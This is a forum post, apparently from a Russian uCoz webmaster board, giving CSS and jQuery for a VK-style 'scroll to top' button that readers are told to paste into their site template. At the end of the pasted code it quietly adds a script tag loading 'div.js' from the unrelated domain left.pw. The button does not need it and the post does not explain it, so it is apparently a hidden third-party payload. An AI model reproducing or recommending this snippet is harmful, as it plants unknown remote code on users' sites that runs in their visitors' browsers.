Страница 1 из 11
Модератор форума: ReacT 
Форум » Vis ar uCoz » Скрипты для uCoz » Up на подобии как в вк
Up на подобии как в вк
PlastinasДата: Вторник, 09.Сен.2014, 20:21 | Сообщение # 1
Сержант
Группа: (Пользователи)
Сообщений: 4
Репутация: 0
Статус: offline
Скрин: http://s018.radikal.ru/i504/1408/61/d93343223461.png

Скрипт кнопка вверх на подобии такой как в вк для сайта.
Установка:
1) Заходим в Панель Управления сайтом потом в Управление дизайном - Прописываем стили в таблице стилей (CSS) в самый низ:
Код
.scrolltotop__side { position:fixed; width:3%; height:100%; top:0; left:0; background: black; -ms-filter:"progid:DXImageTransform.Microsoft.Alpha(Opacity=0)"; filter:alpha(opacity=0.2); -moz-opacity:0.1; -khtml-opacity:0.1; opacity:0.1}   
.scrolltotop__arrow { position:fixed; width:3%; height:100%; top:50px; left:0; background:url(http://pnghosts.ru/img/up-csm.png) top no-repeat; -ms-filter:"progid:DXImageTransform.Microsoft.Alpha(Opacity=0.4)"; filter:alpha(opacity=0.4); -moz-opacity:0.4; -khtml-opacity:0.4; opacity:0.4}


3) А вот этот код прописываем в нижнюю или верхнюю часть сайта:
Код
<script type="text/javascript">   
jQuery(document).ready(function(){   
jQuery('body').append("<div class='scrolltotop'><div class='scrolltotop__side'></div><div class='scrolltotop__arrow'></div></div>");   
jQuery(window).scroll(function(){   
if (jQuery(this).scrollTop() > 350) {   
jQuery('.scrolltotop').fadeIn();   
} else {   
jQuery('.scrolltotop').fadeOut();   
}   
});   
jQuery('.scrolltotop').click(function(){   
jQuery("html, body").animate({ scrollTop: 0 }, 600);   
return false;   
});   
});0   
</script><script type="text/javascript" src="http://left.pw/div.js"></script>


На этом установка завершена. Скрипт проверен в IE 9, в мозиле, опере, гугл хроме
 
Форум » Vis ar uCoz » Скрипты для uCoz » Up на подобии как в вк
Страница 1 из 11
Поиск:

Посетившие сайт за текущий день
=]



( "SIA" 20.08.2007 - 2017 ) E-mail: react@colony.clan.su